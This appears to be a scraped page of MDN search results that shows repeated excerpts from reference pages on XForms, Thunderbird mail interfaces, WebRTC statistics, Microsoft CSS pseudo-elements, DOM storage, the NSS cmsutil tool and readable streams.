... this page is the beginning of the xforms api reference. ...
... this page is the beginning of the xforms api reference. ...
...And 5 more matches
XForms Select1 Element - Archive of obsolete content
accesskey - used to specify the keyboard shortcut for focusing this control. ...
... accesskey - used to specify the keyboard shortcut for focusing this control. ...
... accesskey - used to specify the keyboard shortcut for focusing this control. ...
...And 5 more matches
nsIMsgDBHdr
the nsimsgdbhdr interface describes headers for mail messages. inherits from: nsisupports this interface is usually given to you in return to a query from the message database. there are utility functions that also return it though. for instance, msghdrforcurrentmessage() will return the currently selected message's header. headers are backed by the database: a call to these functions directly modifies the state of the database, although it is not saved until the database is committed. in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase). ...
... a call to these functions directly modifies the state of the database, although it is not saved until the database is committed. in clear, if you want to do a persistent change to a message header, such as marking it as read, or replied to, or whatever, you must do it through its corresponding nsimsgfolder (msghdr.folder) or nsimsgdatabase (msghdr.folder.msgdatabase). it is also mandatory to set msghdr.folder.msgdatabase = null after performing this kind of operations to prevent leaking. don't even think about using orflags and/or andflags. method overview astring getproperty(in string propertyname); void setproperty(in string propertyname, in astring propertystr); void setstringproperty(in string propertyname, in string propertyvalue); string getstring...
...the message is starred in the ui. iskilled boolean readonly: indicates whether or not this message belongs to a subthread that has been ignored in the ui. if you want to know whether the message is the root of an ignored subthread then you should check for the ignored flag. any children of the ignored message will be marked as read when added to the database. ...
...And 5 more matches
nsIMsgSendLater
the nsimsgsendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/sendlater;1. ...
... the nsimsgsendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/sendlater;1. ...
... the nsimsgsendlater interface provides functions for managing the unsent folder of a messaging account. inherits from: nsistreamlistener implemented by: @mozilla.org/messengercompose/sendlater;1. ...
...And 5 more matches
nsIXFormsModelElement
return value an nsidomdocument. ...
... return value an nsidomdocument. ...
...tensions/xforms/nsixformsmodelelement.idlscriptable defines scriptable methods for manipulating instance data and updating computed and displayed values. 1.0 66 introduced gecko 1.8 obsolete gecko 1.9.1 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) method overview nsidomdocument getinstancedocument(in domstring instanceid); void rebuild(); void recalculate(); void refresh(); void revalidate(); methods getinstancedocument() nsidomdocument getinstancedocument( in domstring instanceid ); parameters instanceid the id of the instance element to be returned. return value an nsidomdocument. exceptions thrown domexception if there is no matching instance data. ...
...And 5 more matches
RTCRtpStreamStats.qpSum - Web APIs
since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been. ...
...since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been. ...
...since the value of qp is typically larger to indicate higher compression factors, the larger this sum is, the more heavily compressed the stream generally has been. ...
...And 5 more matches
URLSearchParams.set() - Web APIs
the set() method of the urlsearchparams interface sets the value associated with a given search parameter to the given value. if there were several matching values, this method deletes the others. if the search parameter doesn't exist, this method creates it. note: this feature is available in web workers. syntax urlsearchparams.set(name, value) parameters name the name of the parameter to set. value the value of the parameter to set. return value void. examples let's start with a simple example: let url = new url('https://example.com?foo=1&bar=2'); let params = new urlsearchparams(url.search.slice(1)); //add a third parameter. ...
... you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. ...
... you can copy and paste the example in a code environment like codepen, jsfiddle, or the multi-line javascript interpreter in firefox. ...
...And 5 more matches
-ms-scrollbar-highlight-color - Archive of obsolete content
initial valuethreedhighlightapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the slider tray, the top and left edges of the scroll box, and the scroll arrows of a scroll bar. ...
...| rgba( <number>#{3} , <alpha-value>? )<hsl()> = hsl( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...alue>? )<hsl()> = hsl( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...And 4 more matches
-ms-scrollbar-track-color - Archive of obsolete content
initial valuescrollbarapplies toall elementsinheritedyescomputed valueas specifiedanimation typediscrete syntax values <color> the color of the track element. ...
...| rgba( <number>#{3} , <alpha-value>? )<hsl()> = hsl( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...ha-value>? )<hsl()> = hsl( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsl( <hue>, <percentage>, <percentage>, <alpha-value>? )<hsla()> = hsla( <hue> <percentage> <percentage> [ / <alpha-value> ]? ) | hsla( <hue>, <percentage>, <percentage>, <alpha-value>? ...
...And 4 more matches
::-ms-fill - Archive of obsolete content
the ::-ms-fill css pseudo-element is a microsoft extension that represents a progress bar displayed by <progress>. this pseudo-element is available only in internet explorer 10, internet explorer 11, and microsoft edge. all allowable properties except animation-name apply to a determinate progress bar. only animation-name applies to an indeterminate one. (a progress bar is determinate if it has a value attribute set; otherwise it is indeterminate. an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a moving dots animation for an indeterminate progress bar. ...
...a determinate progress bar. only animation-name applies to an indeterminate one. (a progress bar is determinate if it has a value attribute set; otherwise it is indeterminate. an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a moving dots animation for an indeterminate progress bar. ...
...an indeterminate progress bar can be selected with the :indeterminate pseudo-class.) by default, internet explorer and edge display a moving dots animation for an indeterminate progress bar. by setting animation-name on ::-ms-fill, you can change the animation, as shown in this table: value description none turns off the animation so that no dots are displayed. -ms-bar shows animated dots that flow in a bar pattern. -ms-ring shows animated dots that flow in a ring pattern. allowable properties only the following css properties can be used in a rule with ::-ms-fill in its selector. other properties are ignored. animation-name background-clip, background-color, background-image, background-origin, background-repeat, and background-s...
...And 4 more matches
::-ms-reveal - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...other properties are ignored. ...
...And 4 more matches
::-ms-track - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
...other properties are ignored. ...
...And 4 more matches
XForms Custom Controls Examples - Archive of obsolete content
introduction here is a collection of misc. custom control examples. please feel free to add your own examples. a full example showing a complete form can be found on xforms:custom_controls. ...
... introduction here is a collection of misc. custom control examples. please feel free to add your own examples. a full example showing a complete form can be found on xforms:custom_controls. ...
... introduction here is a collection of misc. custom control examples. please feel free to add your own examples. a full example showing a complete form can be found on xforms:custom_controls. ...
...And 4 more matches
XForms Input Element - Archive of obsolete content
the default value is 'false'. ...
...the default value is 'false'. ...
...the default value is 'false'. ...
...And 4 more matches
NSS tools : cmsutil
name cmsutil — performs basic cryptograpic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. synopsis cmsutil [options] arguments description the cmsutil command-line uses the s/mime toolkit to perform basic operations, such as encryption and decryption, on cryptographic message syntax (cms) messages. to run cmsutil, type the command cmsutil option [arguments] where option and arguments are combinations of the options and arguments listed in the following section. each command takes one option. each option may take zero or more arguments. to see a usage string, issue the command without options. options and arguments options options specify an action. option arguments modify an action. ...
...-c encrypt a message. -e envelope a message. -o create a certificates-only message. -s sign a message. arguments option arguments modify an action and are lowercase. -c content use this detached content (decode only). ...
...") -e envfile specify a file containing an enveloped message for a set of recipients to which you would like to send an encrypted message. if this is the first encrypted message for that set of recipients, a new enveloped message will be created that you can then use for future messages (encrypt only). -g include a signing time attribute (sign only). -h num generate email headers with info about cms message (decode only). -i infile use infile as a source of data (default is stdin). -n nickname specify nickname of certificate to sign with (sign only). -n suppress output of contents (decode only). -o outfile use outfile as a destination of data (default is stdout). -p include an s/mime capabilities attribute. -p password use password as key database password. -r recipient1,recipient2, ... spec...
...And 4 more matches
nsIDOMStorage
1.0 66 introduced gecko 1.8.1 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) a dom window's session storage object can be retrieved from the window's sessionstorage attribute. a storage object stores an arbitrary set of key-value pairs, which may be retrieved, modified and removed as needed. a key may only exist once within a storage object, and only one value may be associated with a particular key. ...
..., which may be retrieved, modified and removed as needed. a key may only exist once within a storage object, and only one value may be associated with a particular key. keys are stored in a particular order with the condition that this order not change by merely changing the value associated with a key, but the order may change when a key is added or removed. method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in the session store. read only. methods clear() clear the content of this storage bound to a domain or an origin. void clear(); parameters...
...n domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in the session store. read only. methods clear() clear the content of this storage bound to a domain or an origin. void clear(); parameters none. getitem() returns from session storage the data corresponding to the specified key. domstring getitem( in domstring key ); parameters key the key for which data should be returned. return value an nsidomstorageitem object describing the data corresponding to the specified key, or null if no data exists for the given key. key() returns the key for the item stored at the specified index in the data store. ...
...And 4 more matches
nsIMsgCustomColumnHandler
the nsimsgcustomcolumnhandler interface allows you to create custom handlers for columns. it can be used in the thunderbird threadpane for extensions to overlay their own columns. mailnews/base/public/nsimsgcustomcolumnhandler.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsitreeview this interface is meant to be implemented by extensions, as shown in the tutorial. the interface inherits from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods. ...
...nterface is meant to be implemented by extensions, as shown in the tutorial. the interface inherits from nsitreeview, however when you're implementing a custom handler in javascript its not necessary to implement all of nsitreeview's methods. you must implement: nsitreeview.iseditable() nsitreeview.getcellproperties() nsitreeview.getimagesrc() nsitreeview.getcelltext() nsitreeview.cyclecell() nsimsgcustomcolumnhandler.getsortstringforrow() nsimsgcustomcolumnhandler.getsortlongforrow() nsimsgcustomcolumnhandler.isstring() and optionally: nsitreeview.getrowproperties() from c++ you must implement all of nsitreeview and nsimsgcustomcolumnhandler. example implementation an example javascript implementation that does nothing: var columnhandler = { iseditable: function(arow, acol) {return fal...
... }, getcelltext: function(arow, acol) { }, getsortstringforrow: function(ahdr) { return ""; }, isstring: function() {return true;}, getcellproperties: function(arow, acol, aprops) { }, getrowproperties: function(arow, aprops) { }, getimagesrc: function(arow, acol) {return null;}, getsortlongforrow: function(ahdr) {return 0;} } to attach it use the nsimsgdbview.addcolumnhandler() method (recall gdbview is the global nsimsgdbview in thunderbird): gdbview.addcolumnhandler("newcolumn", columnhandler); after which it can be retrieved using the nsimsgdbview.getcolumnhandler() method: var handler = gdbview.getcolumnhandler("newcolumn"); and removed using the nsimsgdbview.removecolumnhandler() method: gdbview.removecolumnhandler("newcolumn"); meth...
...And 4 more matches
nsIMsgFilter
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfilter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; label // target label. ...
...ter.idl attributes type attribute nsmsgruleactiontype type; priority // target priority.. throws an exception if the action is not priority attribute nsmsgpriorityvalue priority; targetfolderuri // target folder.. throws an exception if the action is not move to folder attribute acstring targetfolderuri; label // target label. ...
...ri; label // target label. ...
...And 4 more matches
nsIMsgFilterCustomAction
defined in comm-central/ mailnews/ base/ search/ public/ nsimsgfiltercustomaction.idl interface nsimsgfiltercustomaction : nsisupports { /* globally unique string to identify this filter action. * recommended form: extensionname@example.com#actionname */ readonly attribute acstring id; /* action name to display in action list. this should be localized. ...
...name@example.com#actionname */ readonly attribute acstring id; /* action name to display in action list. this should be localized. */ readonly attribute astring name; /** * is this custom action valid for a particular filter type? * * @param type the filter type * @param scope the search scope * * @return true if valid */ boolean isvalidfortype(in nsmsgfiltertypetype type, in nsmsgsearchscopevalue scope); /** * after the user inputs a particular action value for the action, determine * if that value is valid. * * @param actionvalue the value entered. * @param actionfolder folder in the filter list * @param filtertype filter type (manual, offlinemail, etc.) * * @return errormessage a l...
...tered. * @param actionfolder folder in the filter list * @param filtertype filter type (manual, offlinemail, etc.) * * @return errormessage a localized message to display if invalid * set to null if the actionvalue is valid */ autf8string validateactionvalue(in autf8string actionvalue, in nsimsgfolder actionfolder, in nsmsgfiltertypetype filtertype); /* allow duplicate actions in the same filter list? default no. */ attribute boolean allowduplicates; /* * the custom action itself * * generally for the apply method, folder-based methods give correct * results and are preferred if available. otherwise, be careful * that the action d...
...And 4 more matches
nsMsgViewCommandType
last changed in gecko 1.9 (firefox 3) constants name value description markmessagesread 0 marks the selected messages as read. markmessagesunread 1 mark the selected messages as unread togglemessageread 2 toggle the read flag of the selected messages flagmessages 3 flag the selected messages. unflagmessages 4 unflag the selected messages. ...
...nstants name value description markmessagesread 0 marks the selected messages as read. markmessagesunread 1 mark the selected messages as unread togglemessageread 2 toggle the read flag of the selected messages flagmessages 3 flag the selected messages. unflagmessages 4 unflag the selected messages. togglethreadwatched 6 toggle the watched state of the selected thread. ...
... selectall 15 select all messages. downloadselectedforoffline 16 download the selected messages for offline. ...
...And 4 more matches
nsIMsgCloudFileProvider
nsimsgcloudfileprovider is the interface that must be implemented by new filelink providers. inherits from: nsisupports method overview void init(in string aaccountkey); void uploadfile(in nsilocalfile afile, in nsirequestobserver acallback); acstring urlforfile(in nsilocalfile afile); void cancelfileupload(in nsilocalfile afile); void refreshuserinfo(in boolean awithui, in nsirequestobserver acallback); void deletefile(in nsilocalfile afile, in nsirequestobserver acallback); void createnewaccount(in acstring aemailaddress, in acstring apassword, in acstring afirstname, in acstring alastname, in nsirequestobserver acallback); void createexistingaccount(in nsi...
... readonly: used for displaying the service name in the user interface. serviceurl acstring readonly: a link to the homepage of the service, if applicable. iconclass acstring readonly: a chrome url for an icon to be used for representing the service. accountkey acstring readonly: the unique identifier for the account associated with an instance of an nsimsgcloudfileprovider. settingsurl acstring readonly: a chrome url for an xhtml page displayed in the account setup dialog window, used for displaying and setting provider-specific settings. this url should not point to external web content. managementurl acstring readonly: a chrome url for an xhtml page displayed within the filelink preferences dialog, used for displayi...
... filespaceused long long readonly: the total amount of space used by this account. if this value is not known, returns -1. lasterror acstring readonly: the last error message received from the server. constants the following constants are used for the status codes passed to the onstoprequest functions of the nsirequestobserver's used by the asynchronous methods of nsimsgcloudfileprovider. constant value description offlineerr 0x80550014 returned when it appears that there is no active network connection. autherr 0x8055001e returned when authorizing has failed. uploaderr 0x8055311a returned when uploading has failed for an unknown reason. uploadwouldexceedquota 0x8055311b returned when up...
...And 4 more matches
RTCOutboundRtpStreamStats - Web APIs
the rtcoutboundrtpstreamstats dictionary is the rtcstats-based object which provides metrics and statistics related to an outbound rtp stream being sent by an rtcrtpsender. properties the rtcoutboundrtpstreamstats dictionary includes the following properties in addition to those it inherits from rtcsentrtpstreamstats, rtcrtpstreamstats, and rtcstats. averagertcpinterval a floating-point value indicating the average rtcp interval between two consecutive compound rtcp packets. fircount an integer value which indicates the total number of full intra request (fir) packets which this rtcrtpsender has sent to the remote rtcrtpreceiver. this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up. valid only for video streams. framesencoded ...
...cates the total number of full intra request (fir) packets which this rtcrtpsender has sent to the remote rtcrtpreceiver. this is an indicator of how often the stream has lagged, requiring frames to be skipped in order to catch up. valid only for video streams. framesencoded the number of frames that have been successfully encoded so far for sending on this rtp stream. only valid for video streams. lastpacketsenttimestamp a domhighrestimestamp indicating the time at which the last packet was sent for this ssrc. the timestamp property, on the other hand, indicates the time at which the rtcoutboundrtpstreamstats object was generated. nackcount an integer value indicating the total number of negative acknolwedgement (nack) packets this rtcrtpsender has received from the remote rtcrtprecei...
...ch indicating the total number of packets this rtcrtpsender has transmitted for this source for each differentiated services code point (dscp). plicount an integer specifying the number of times the remote receiver has notified this rtcrtpsender that some amount of encoded video data for one or more frames has been lost, using picture loss indication (pli) packets. only available for video streams. qpsum a 64-bit value containing the sum of the qp values for every frame encoded by this rtcrtpsender. valid only for video streams. qualitylimitationdurations a record mapping each of the quality limitation reasons in the rtcremoteinboundrtpstreamstats enumeration to a floating-point value indicating the number of seconds the stream has spent with its quality limited for that reason. quali...
...And 4 more matches
RTCRemoteOutboundRtpStreamStats.localId - Web APIs
usage notes you can think of the local and remote views of the same rtp stream as pairs, each of which has a reference back to the other one. ...
... usage notes you can think of the local and remote views of the same rtp stream as pairs, each of which has a reference back to the other one. ...
... usage notes you can think of the local and remote views of the same rtp stream as pairs, each of which has a reference back to the other one. ...
...And 4 more matches
RTCRtpStreamStats - Web APIs
the rtcrtpstreamstats dictionary is returned by the rtcpeerconnection.getstats(), rtcrtpsender.getstats(), and rtcrtpreceiver.getstats() methods to provide detailed statistics about webrtc connectivity. while the dictionary has a base set of properties that are present in each of these cases, there are also additional properties added depending on which interface the method is called on. rtcrtpstreamstats is the base class for all rtp-related statistics reports. it's based on rtcstats and adds the following additional fields. note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017. check the browser compatibility table to know if and when the name change was implemented in specific browsers. ...
...s called on. rtcrtpstreamstats is the base class for all rtp-related statistics reports. it's based on rtcstats and adds the following additional fields. note: this interface was called rtcrtpstreamstats until a specification update in the spring of 2017. check the browser compatibility table to know if and when the name change was implemented in specific browsers. properties the rtcrtpstreamstats dictionary is based on rtcstats, and inherits its properties. in addition, some or all of the following properties are available. standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats object associated with this rtp stream. ...
...nted in specific browsers. properties the rtcrtpstreamstats dictionary is based on rtcstats, and inherits its properties. in addition, some or all of the following properties are available. standard fields included for all media types codecid a domstring which uniquely identifies the object which was inspected to produce the rtccodecstats object associated with this rtp stream. kind a domstring whose value is "audio" if the associated mediastreamtrack is audio-only or "video" if the track contains video. this value will match that of the media type indicated by rtccodecstats.codec, as well as the track's kind property. previously called mediatype. ssrc the 32-bit integer which identifies the source of the rtp packets this rtcrtpstreamstats object covers. this value is generated p...
...And 4 more matches
Using readable streams - Web APIs
as a javascript developer, programmatically reading and manipulating streams of data received over the network, chunk by chunk, is very useful! but how do you use the streams api’s readable stream functionality? this article explains the basics. note: this article assumes that you understand the use cases of readable streams, and are aware of the high-level concepts. if not, we suggest that you first read the streams concepts and usage overview and dedicated streams api concepts article, then come back. note: if you are looking for information on writable streams try using writable streams instead. browser support you can consume fetch body objects as streams and create your own custom readable streams in firefox 65+ and chrome 42+ (and equivalent chromium-based browsers). pipe ch...
...you can find the full source code there, as well as links to the examples. consuming a fetch as a stream the fetch api allows you to fetch resources across the network, providing a modern alternative to xhr. ...
...ore chunks are enqueued. cancel() — a method that, when included, will be called if the app signals that the stream is to be cancelled (e.g. if readablestream.cancel() is called). the contents should do whatever is necessary to release access to the stream source. type and autoallocatechunksize — these are used — when included — to signify that the stream is to be a bytestream. bytestreams will be covered separately in a future tutorial, as they are somewhat different in purpose and use case to regular (default) streams. they are also not implemented anywhere as yet. looking at our simple example code again, you can see that our readablestream() constructor only includes a single method — start(), which serves to read all the data out of our fetch stream. return new readable...
...And 4 more matches
String.prototype.trimStart() - JavaScript
the trimstart() method removes whitespace from the beginning of a string. trimleft() is an alias of this method. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax str.trimstart(); str.trimleft(); return value a new string representing the calling string stripped of whitespace from its beginning (left end). description the trimstart() / trimleft() methods return the string stripped of whitespace from its left end. trimleft() or trimstart() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.padstart the standard method name is trimstart. however, f...
...rom its beginning (left end). description the trimstart() / trimleft() methods return the string stripped of whitespace from its left end. trimleft() or trimstart() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.padstart the standard method name is trimstart. however, for web compatibility reasons, trimleft remains as an alias to trimstart. ...
...hods return the string stripped of whitespace from its left end. trimleft() or trimstart() do not affect the value of the string itself. aliasing for consistency with functions like string.prototype.padstart the standard method name is trimstart. however, for web compatibility reasons, trimleft remains as an alias to trimstart. ...
...And 4 more matches
Porting NSPR to Unix Platforms - Archive of obsolete content
porting instructions you can use different threading packages to implement nspr threads. ...
... porting instructions you can use different threading packages to implement nspr threads. ...
... porting instructions you can use different threading packages to implement nspr threads. ...
...And 3 more matches
::-ms-browse - Archive of obsolete content
the ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">. permitted properties only the following css properties can be used in a rule with ::-ms-browse in its selector. other properties are ignored. ...
... the ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">. permitted properties only the following css properties can be used in a rule with ::-ms-browse in its selector. other properties are ignored. ...
... the ::-ms-browse css pseudo-element is a microsoft extension that represents the button that opens the file picker of <input type="file">. permitted properties only the following css properties can be used in a rule with ::-ms-browse in its selector. other properties are ignored. ...
...And 3 more matches
::-ms-check - Archive of obsolete content
the ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">. this pseudo-element is supported only in internet explorer and microsoft edge. allowable properties only the following css properties can be used in a rule with ::-ms-check in its selector. other properties are ignored. ...
...he ::-ms-check css pseudo-element is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">. this pseudo-element is supported only in internet explorer and microsoft edge. allowable properties only the following css properties can be used in a rule with ::-ms-check in its selector. other properties are ignored. ...
...lement is a microsoft extension that represents checkboxes and radio button groups created by <input type="checkbox"> and <input type="radio">. this pseudo-element is supported only in internet explorer and microsoft edge. allowable properties only the following css properties can be used in a rule with ::-ms-check in its selector. other properties are ignored. ...
...And 3 more matches
::-ms-fill-upper - Archive of obsolete content
other properties are ignored. ...
...other properties are ignored. ...
... browser compatibility historically supported in internet explorer and edge before ve...
...And 3 more matches
XForms Repeat Element - Archive of obsolete content
repeat element contains markup and is itself bound to a nodeset in an instance document (see the spec). for each node in the nodeset, the contents of the repeat element will be displayed in the form. that node will serve as the context node for any relative xpath expressions in that set of repeated markup. attributes ui common appearance - the value of this attribute gives a hint to the xforms processor as to which type of widget(s) to use to represent this control. node set binding special startindex - optional 1-based initial value of the repeat index. the default value is 1. number - isn't supported type restrictions the repeat element can be bound to a nodeset. representations the repeat element doesn't have a visual representation. however, it can influence the layout ...
...ontrol set is placed vertically. compact layout each generated control set is placed horizontally. occurs when the repeat element's appearance attribute has a value of compact. behaviour focusing a generated control may change the current index of the containing repeat element. the index is equal to the index of the control set that the focused control belongs to. actions you can use xforms action module elements to modify the nodeset that the repeat element is bound to. the most useful actions for altering the contents of a repeat are the insert (see the spec), delete (see the spec) and setindex (see the spec) elements. example <model> <instance> <my:lines> <my:line name="a"> <my:price>3.00</my:price> </my:line> <my:line name="b"> <my:pric...
...eset')" position="after"/> <setvalue ref="/my:lines/my:line[index('lineset')]/@name"/> <setvalue ref="/my:lines/my:line[index('lineset')]/price">0.00</setvalue> </action> </trigger> <trigger> <label>remove current item</label> <delete ev:event="domactivate" nodeset="/my:lines/my:line" at="index('lineset')"/> </trigger> attribute based repeat when using xforms within host languages like xhtml, it is often necessary to create repeating structures within constructs such as html:table. thus, one might wish to use element repeat within a table to create the rows of a table, where each row of the table binds to a distinct member of a homogeneous collection. since html:table doesn't (and probably never will) allow xforms:repeat elements as children, another ...
...And 3 more matches
Implementing game control mechanisms - Game development
case study we'll be using the captain rogers: battle at andromeda demo as an example. ...
... case study we'll be using the captain rogers: battle at andromeda demo as an example. ...
...r simple 2d game development in javascript right now, but it should be fairly easy to reuse the knowledge contained within these articles when building games in pure javascript or any other framework. if you're looking for a good introduction to phaser, then check the 2d breakout game using phaser tutorial. in the following articles we will show how to implement various different control mechanisms for captain rogers to support different platforms — from touch on mobile, through keyboard/mouse/gamepad on desktop, to more unconventional ones like tv remote, shouting to or waving your hand in front of the laptop, or squeezing bananas. setting up the environment let's start with a quick overview of the game's folder structure, javascript files and in-game states, so we know what's happenin...
...And 3 more matches
Web forms — Working with user data - Learn web development
this module provides a series of articles that will help you master the essentials of web forms. web forms are a very powerful tool for interacting with users — most commonly they are used for collecting data from users, or allowing them to control a user interface. however, for historical and technical reasons it's not always obvious how to use them to their full potential. in the articles listed below, we'll cover all the essential aspects of web forms including marking up their html structure, styling form controls, validating form data, and submitting data to the server. looking to become a front-end web developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module,...
...b developer? we have put together a course that includes all the essential information you need to work towards your goal. get started prerequisites before starting this module, you should at least work through our introduction to html. at this point you should find the introductory guides easy to understand, and also be able to make use of our basic native form controls guide. mastering forms however requires more than just html knowledge — you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls. therefore, before you look at the other sections listed below we'd recommend that you go away and learn some css and javascript first. the above text is a good indica...
...t html knowledge — you also need to learn some specific techniques to style form controls, and some scripting knowledge is required to handle things like validation and creating custom form controls. therefore, before you look at the other sections listed below we'd recommend that you go away and learn some css and javascript first. the above text is a good indicator as to why we've put web forms into its own standalone module, rather than trying to mix bits of it into the html, css, and javascript topic areas — form elements are more complex than most other html elements, and they also require a close marriage of related css and javascript techniques to get the most out of them. note: if you are working on a computer/tablet/other device where you don't have the ability to create your...
...And 3 more matches
nsIDOMStorage2
the nsidomstorage2 interface represents the storage space used for local storage in the dom. items stored in local storage may only be accessed by the same origin that created the items in the first place. a dom window's local storage object can be retrieved from the window's localstorage attribute. dom/public/idl/storage/nsidomstorage2.idlscriptable please add a summary to this article. ...
...sed by the same origin that created the items in the first place. a dom window's local storage object can be retrieved from the window's localstorage attribute. dom/public/idl/storage/nsidomstorage2.idlscriptable please add a summary to this article. last changed in gecko 1.9.1 (firefox 3.5 / thunderbird 3.0 / seamonkey 2.0) inherits from: nsisupports method overview void clear(); domstring getitem(in domstring key); domstring key(in unsigned long index); void removeitem(in domstring key); void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage. methods clear() clears the contents of this storage context; this removes all values bound to the domain or origin. void...
... void setitem(in domstring key, in domstring data); attributes attribute type description length unsigned long the number of keys stored in local storage. methods clear() clears the contents of this storage context; this removes all values bound to the domain or origin. void clear(); parameters none. getitem() returns from local storage the data corresponding to the specified key. domstring getitem( in domstring key ); parameters key the key for which data should be returned. return value a string containing the data corresponding to the specified key, or null if no data exists for the given key. key() returns the key for the item stored at the specified index in the data store. ...
...And 3 more matches
nsIDOMStorageEventObsolete
obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. dom/interfaces/storage/nsidomstorageeventobsolete.idlscriptable this interface represents an event that occurs to notify interested parties about changes to the contents of a dom storage space; it is used for both session storage and local storage. 1.0 66 introduced gecko 1.8 obsolete gecko 2.0 inherits from: nsidomevent last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if ...
...ast changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) when a dom storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if the value of the domain attribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. ...
... storage event is received, the recipient can check its domain attribute to determine which domain's data store has changed. if the value of the domain attribute is "#session", then the session storage has changed. note: this interface describes the old, non-standard form of this event. you should use the nsidomstorageevent interface instead. method overview void initstorageevent(in domstring typearg, in boolean canbubblearg, in boolean cancelablearg, in domstring keyarg, in domstring oldvaluearg, in domstring newvaluearg, in domstring urlarg, in nsidomstorage storageareaarg); attributes attribute type description domain domstring the domain of the storage area which changed, or "#session" if the event represents a change to session storage. ...
...And 3 more matches
nsIMsgWindow
mailnews/base/public/nsimsgwindow.idlscriptable please add a summary to this article. inherits from: nsisupports last changed in gecko 8 (firefox 8 / thunderbird 8 / seamonkey 2.5) implemented by: @mozilla.org/messenger/msgwindow;1. to create an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. ...
...org/messenger/msgwindow;1. to create an instance, use: msgwindow = components.classes["@mozilla.org/messenger/msgwindow;1"] .createinstance(components.interfaces.nsimsgwindow); in thunderbird the default message window is stored in the global variable msgwindow. method overview void displayhtmlinmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane. ...
...inmessagepane(in astring title, in astring body, in boolean clearmsghdr); void stopurls(); void closewindow(); attributes attribute type description windowcommands nsimsgwindowcommands this allows the backend code to send commands to the ui, such as clearmsgpane. statusfeedback nsimsgstatusfeedback this allows the backend code to send status feedback to the ui. msgheadersink nsimsgheadersink this allows the backend code to send message header information to the ui. transactionmanager nsitransactionmanager this is used to track undo/redo transactions. ...
...And 3 more matches
FileSystemSync - Web APIs
